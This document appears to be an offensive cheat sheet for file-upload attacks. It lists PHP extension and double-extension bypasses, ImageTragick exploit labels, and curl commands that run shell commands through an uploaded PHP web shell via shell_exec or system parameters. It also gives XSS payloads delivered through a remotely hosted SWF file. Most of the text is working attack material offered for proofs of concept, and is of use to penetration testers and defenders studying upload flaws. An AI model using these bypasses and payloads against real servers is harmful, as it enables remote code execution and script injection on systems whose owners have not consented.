Upload

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Exploits

Image Tragik

```
HTTP Request
Reverse Shell
Touch command
```

PHP Extension

```
.php

Less known extension
.pht
.pgif
.phtml
.shtml

Double extension
.jpeg.php
.png.php
```

PNG Bypass a resize

Upload the picture and use a local file inclusion

```
You can use it by specifying $_GET[0] as shell_exec and passing a $_POST[1] parame
ter with the shell command to execute.
curl 'http://localhost/b.php?0=shell_exec' --data "1='ls'"
curl 'http://localhost/test.php?0=system' --data "1='ls'"
```

JPG Bypass a resize

Upload the picture and use a local file inclusion

```
http://localhost/test.php?c=ls
```

XSS via SWF

As you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs. This method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either.

```
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.dom
ain);

IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e)
{ window.open('?js=history.go(-1)','_self');}

IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open('invalidfileinvalidfile
invalidfile','target');setTimeout('alert(w.document.location);w.close();',1);
```

Thanks to

- Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil